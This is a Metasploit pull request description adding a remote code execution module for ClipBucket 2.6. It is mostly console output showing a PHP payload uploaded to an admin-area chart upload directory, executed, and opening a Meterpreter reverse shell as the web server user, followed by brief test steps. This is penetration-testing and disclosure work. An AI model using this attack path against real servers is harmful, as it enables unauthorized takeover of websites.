rapid7/metasploit-framework — pull request #2460 by xistence (2013-10-04 04:49:03+00:00)
Title: added clipbucket_upload_exec RCE

ClipBucket 2.6 RCE

msf exploit(clipbucket_upload_exec) > exploit

[*] Started reverse handler on 192.168.2.22:4444
[*] 192.168.2.131:80 - Uploading payload [ rbWxecV6.php ]
[*] 192.168.2.131:80 - Executing Payload [ /clipbucket/admin_area/charts/tmp-upload-images/rbWxecV6.php ]
[*] Sending stage (39195 bytes) to 192.168.2.131
[*] Meterpreter session 1 opened (192.168.2.22:4444 -> 192.168.2.131:41462) at 2013-10-04 11:40:28 +0700
[+] Deleted rbWxecV6.php

meterpreter > getuid
Server username: apache (48)

How to test:

- Download http://jaist.dl.sourceforge.net/project/clipbucket/ClipBucket%20v2/clipbucket-2.6-r738.zip
- Install on a standard PHP/Apache environment (I've tested this on CentOS 5.9 32-bit)
- Exploit :)